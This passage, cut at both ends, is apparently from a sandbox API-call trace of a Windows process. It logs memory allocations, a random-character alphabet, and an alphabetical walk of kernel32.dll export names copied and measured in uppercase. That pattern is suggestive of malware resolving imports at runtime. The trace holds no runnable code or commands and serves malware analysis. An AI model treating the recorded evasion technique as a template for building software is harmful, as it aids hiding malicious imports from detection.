dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.359] GetTickCount () returned 0x33847 [0120.359] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0120.359] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0120.359] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0120.359] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0120.360] lstrlenA (lpString="kernel32.dll") returned 12 [0120.360] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0120.362] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0120.362] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0120.362] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0120.362] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0120.362] lstrlenA (lpString="ADDATOMA") returned 8 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0120.362] lstrlenA (lpString="ADDATOMW") returned 8 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0120.362] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0120.362] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0120.362] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0120.362] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0120.362] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0120.362] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0120.363] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0120.363] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0120.363] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0120.363] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0120.363] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0120.363] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0120.363] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0120.363] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0120.363] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0120.363] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0120.363] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0120.363] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0120.363] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0120.363] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0120.363] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0120.363] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0120.364] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0120.364] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0120.364] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0120.364] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0120.364] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0120.364] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0120.364] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0120.364] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0120.364] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0120.364] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0120.364] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0120.364] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0120.364] lstrlenA (lpString="BACKUPREAD") returned 10 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0120.364] lstrlenA (lpString="BACKUPSEEK") returned 10 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0120.364] lstrlenA (lpString="BACKUPWRITE") returned 11 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0120.364] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0120.364] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0120.365] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0120.365] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0120.365] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0120.365] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0120.365] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0120.365] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0120.365] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0120.365] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0120.365] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0120.365] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0120.365] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0120.365] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0120.365] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0120.365] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0120.365] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0120.365] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0120.365] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0120.365] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0120.365] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0120.365] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0120.365] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0120.366] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0120.366] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0120.366] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0120.366] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0120.366] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0120.366] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0120.366] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0120.366] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0120.366] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0120.366] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0120.366] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0120.366] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0120.366] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0120.366] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0120.366] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0120.366] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0120.366] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0120.366] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0120.366] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0120.366] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0120.366] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0120.366] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0120.367] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0120.367] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0120.367] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0120.367] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0120.367] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0120.367] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0120.367] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0120.367] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0120.367] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0120.367] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0120.367] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0120.367] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0120.367] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0120.367] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0120.367] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0120.367] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0120.367] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0120.367] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0120.367] lstrlenA (lpString="BEEP") returned 4 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0120.368] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0120.368] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0120.368] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0120.368] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0120.368] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0120.368] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0120.368] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0120.368] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0120.368] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0120.368] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: 